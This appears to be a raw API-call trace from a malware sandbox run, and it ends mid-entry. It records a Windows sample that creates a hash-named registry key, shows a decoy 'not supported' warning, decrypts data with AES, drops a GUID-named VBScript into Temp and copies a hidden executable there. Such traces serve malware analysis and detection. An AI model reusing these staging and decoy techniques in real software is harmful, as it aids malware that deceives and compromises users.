0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0301.669] GetCurrentProcessId () returned 0xbf4 [0302.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.176] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.177] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.178] GetCurrentProcessId () returned 0xbf4 [0302.179] GetCurrentProcessId () returned 0xbf4 [0302.179] GetCurrentProcessId () returned 0xbf4 [0302.179] GetCurrentProcessId () returned 0xbf4 [0302.179] GetCurrentProcessId () returned 0xbf4 [0302.179] GetCurrentProcessId () returned 0xbf4 [0302.179] GetCurrentProcessId () returned 0xbf4 [0302.179] GetCurrentProcessId () returned 0xbf4 [0302.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.889] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.890] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.891] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 [0302.892] GetCurrentProcessId () returned 0xbf4 Thread: id = 197 os_tid = 0xc84 [0160.830] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0160.830] RoInitialize () returned 0x1 [0160.830] RoUninitialize () returned 0x0 [0160.835] CoUninitialize () Thread: id = 198 os_tid = 0xc88 [0161.497] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0161.497] RoInitialize () returned 0x1 [0161.497] RoUninitialize () returned 0x0 [0161.503] CoUninitialize () Thread: id = 199 os_tid = 0xc8c Thread: id = 204 os_tid = 0xcc8 Thread: id = 205 os_tid = 0xccc [0171.168] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0171.168] RoInitialize () returned 0x1 [0171.168] RoUninitialize () returned 0x0 [0171.473] CoUninitialize () Thread: id = 206 os_tid = 0xcd0 [0171.252] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0171.252] RoInitialize () returned 0x1 [0171.252] RoUninitialize () returned 0x0 [0171.491] CoUninitialize () Thread: id = 207 os_tid = 0xcd4 [0171.393] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0171.394] RoInitialize () returned 0x1 [0171.394] RoUninitialize () returned 0x0 [0171.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b8bd590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0171.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b8bd6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0171.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b8bdb20) returned 1 [0171.825] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b8bdc00 | out: lpFileInformation=0x1b8bdc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0171.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b8bdae0) returned 1 [0171.916] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\d0f1632a2a1f07a454a3bd0f58eb4ba0", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b8bde48 | out: phkResult=0x1b8bde48*=0x0) returned 0x2 [0171.919] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\d0f1632a2a1f07a454a3bd0f58eb4ba0", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b8bdd58 | out: phkResult=0x1b8bdd58*=0x0) returned 0x2 [0171.919] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\d0f1632a2a1f07a454a3bd0f58eb4ba0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1b8bddb0, lpdwDisposition=0x1b8bde98 | out: phkResult=0x1b8bddb0*=0x534, lpdwDisposition=0x1b8bde98*=0x1) returned 0x0 [0171.925] RegQueryValueExW (in: hKey=0x534, lpValueName="d0f1632a2a1f07a454a3bd0f58eb4ba0", lpReserved=0x0, lpType=0x1b8bde68, lpData=0x0, lpcbData=0x1b8bde60*=0x0 | out: lpType=0x1b8bde68*=0x0, lpData=0x0, lpcbData=0x1b8bde60*=0x0) returned 0x2 [0171.925] RegSetValueExW (in: hKey=0x534, lpValueName="d0f1632a2a1f07a454a3bd0f58eb4ba0", Reserved=0x0, dwType=0x1, lpData="d0f1632a2a1f07a454a3bd0f58eb4ba0", cbData=0x42 | out: lpData="d0f1632a2a1f07a454a3bd0f58eb4ba0") returned 0x0 [0171.935] GetProcessWindowStation () returned 0xc0 [0171.942] GetUserObjectInformationA (in: hObj=0xc0, nIndex=1, pvInfo=0x2bdb318, nLength=0xc, lpnLengthNeeded=0x1b8bddc0 | out: pvInfo=0x2bdb318, lpnLengthNeeded=0x1b8bddc0) returned 1 [0171.991] GetActiveWindow () returned 0x0 [0171.995] GetCurrentProcess () returned 0xffffffffffffffff [0171.995] GetCurrentThread () returned 0xfffffffffffffffe [0171.995] GetCurrentProcess () returned 0xffffffffffffffff [0171.997] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1b8bdd60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1b8bdd60*=0x540) returned 1 [0172.003] GetCurrentThreadId () returned 0xcd4 [0172.009] OleInitialize (pvReserved=0x0) returned 0x80010106 [0172.020] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x1b8bdd78 | out: lplpMessageFilter=0x1b8bdd78*=0x0) returned 0x80004021 [0172.072] GetCurrentThreadId () returned 0xcd4 [0172.077] EnumThreadWindows (dwThreadId=0xcd4, lpfn=0x1adb170c, lParam=0x0) returned 1 [0172.077] GetActiveWindow () returned 0x0 [0172.079] GetFocus () returned 0x0 [0172.083] MessageBoxW (hWnd=0x0, lpText="This file not support on x64 ARM version.", lpCaption="Warning!", uType=0x11) returned 1 [0173.648] SendMessageW (hWnd=0x0, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0173.648] CoUninitialize () Thread: id = 208 os_tid = 0xcd8 [0171.565] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0171.565] RoInitialize () returned 0x1 [0171.565] RoUninitialize () returned 0x0 [0171.692] CoUninitialize () Thread: id = 209 os_tid = 0xcdc [0171.695] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0171.695] RoInitialize () returned 0x1 [0171.695] RoUninitialize () returned 0x0 [0171.871] CoTaskMemAlloc (cb=0x20c) returned 0x1b21b020 [0171.871] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b21b020 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0171.871] CoTaskMemFree (pv=0x1b21b020) [0171.872] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1bb5de50, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0171.874] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1bb5de70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0171.874] CoCreateGuid (in: pguid=0x1bb5e3f8 | out: pguid=0x1bb5e3f8*(Data1=0xdc0c49a9, Data2=0xc59b, Data3=0x4342, Data4=([0]=0x87, [1]=0x28, [2]=0x35, [3]=0x2e, [4]=0xcf, [5]=0x76, [6]=0x47, [7]=0x7a))) returned 0x0 [0172.184] CryptAcquireContextW (in: phProv=0x1bb5ce48, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1bb5ce48*=0x1b1cec70) returned 1 [0172.185] CryptImportKey (in: hProv=0x1b1cec70, pbData=0x2bdc978*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1bb5cdd0 | out: phKey=0x1bb5cdd0*=0x1b221860) returned 1 [0172.185] CryptContextAddRef (hProv=0x1b1cec70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0172.185] CryptContextAddRef (hProv=0x1b1cec70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0172.185] CryptDuplicateKey (in: hKey=0x1b221860, pdwReserved=0x0, dwFlags=0x0, phKey=0x1bb5cdc0 | out: phKey=0x1bb5cdc0*=0x1b2220b0) returned 1 [0172.185] CryptContextAddRef (hProv=0x1b1cec70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0172.186] CryptSetKeyParam (hKey=0x1b2220b0, dwParam=0x4, pbData=0x2bdca98*=0x1, dwFlags=0x0) returned 1 [0172.186] CryptSetKeyParam (hKey=0x1b2220b0, dwParam=0x1, pbData=0x2bdca48, dwFlags=0x0) returned 1 [0172.186] CryptDestroyKey (hKey=0x1b221860) returned 1 [0172.186] CryptReleaseContext (hProv=0x1b1cec70, dwFlags=0x0) returned 1 [0172.186] CryptReleaseContext (hProv=0x1b1cec70, dwFlags=0x0) returned 1 [0172.186] CryptDecrypt (in: hKey=0x1b2220b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bdcab8, pdwDataLen=0x1bb5cf20 | out: pbData=0x2bdcab8, pdwDataLen=0x1bb5cf20) returned 1 [0172.186] CryptDecrypt (in: hKey=0x1b2220b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2bdd428, pdwDataLen=0x1bb5cf10 | out: pbData=0x2bdd428, pdwDataLen=0x1bb5cf10) returned 0 [0173.403] CryptDestroyKey (hKey=0x1b2220b0) returned 1 [0173.403] CryptReleaseContext (hProv=0x1b1cec70, dwFlags=0x0) returned 1 [0173.403] CryptReleaseContext (hProv=0x1b1cec70, dwFlags=0x0) returned 1 [0173.511] GetCurrentProcessId () returned 0xbf4 [0173.564] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\dc0c49a9-c59b-4342-8728-352ecf76477a.vbs", nBufferLength=0x105, lpBuffer=0x1bb5dc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\dc0c49a9-c59b-4342-8728-352ecf76477a.vbs", lpFilePart=0x0) returned 0x51 [0173.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb5e110) returned 1 [0173.565] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\dc0c49a9-c59b-4342-8728-352ecf76477a.vbs" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\dc0c49a9-c59b-4342-8728-352ecf76477a.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4dc [0173.567] GetFileType (hFile=0x4dc) returned 0x1 [0173.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb5e080) returned 1 [0173.567] GetFileType (hFile=0x4dc) returned 0x1 [0173.569] WriteFile (in: hFile=0x4dc, lpBuffer=0x2c4bcf0*, nNumberOfBytesToWrite=0x2ce, lpNumberOfBytesWritten=0x1bb5e148, lpOverlapped=0x0 | out: lpBuffer=0x2c4bcf0*, lpNumberOfBytesWritten=0x1bb5e148*=0x2ce, lpOverlapped=0x0) returned 1 [0173.571] CloseHandle (hObject=0x4dc) returned 1 [0173.577] LocalAlloc (uFlags=0x0, uBytes=0xa4) returned 0x7e0d20 [0174.337] LocalFree (hMem=0x7e0d20) returned 0x0 [0174.337] CoTaskMemAlloc (cb=0x20c) returned 0x1b21b680 [0174.337] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b21b680 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0174.338] CoTaskMemFree (pv=0x1b21b680) [0174.338] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1bb5de50, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0174.338] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1bb5de70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0174.338] CoCreateGuid (in: pguid=0x1bb5e3f8 | out: pguid=0x1bb5e3f8*(Data1=0x86d13eea, Data2=0x41b, Data3=0x4c34, Data4=([0]=0xb8, [1]=0xc, [2]=0xc8, [3]=0x27, [4]=0xc0, [5]=0x17, [6]=0xdf, [7]=0xfc))) returned 0x0 [0174.338] CoTaskMemAlloc (cb=0x20c) returned 0x1b21cde0 [0174.338] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b21cde0 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0174.339] CoTaskMemFree (pv=0x1b21cde0) [0174.339] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1bb5de50, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0174.339] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1bb5de70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0174.339] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1bb5de30, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a [0174.340] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\ad57480fc18d55031cc7c956bc8beabb89eebdeb.exe", nBufferLength=0x105, lpBuffer=0x1bb5de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\ad57480fc18d55031cc7c956bc8beabb89eebdeb.exe", lpFilePart=0x0) returned 0x55 [0174.340] CopyFileW (lpExistingFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\ad57480fc18d55031cc7c956bc8beabb89eebdeb.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\ad57480fc18d55031cc7c956bc8beabb89eebdeb.exe"), bFailIfExists=0) returned 1 [0174.913] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\86d13eea-041b-4c34-b80c-c827c017dffc.vbs", nBufferLength=0x105, lpBuffer=0x1bb5dc30, lpFilePart=0x0 | out: 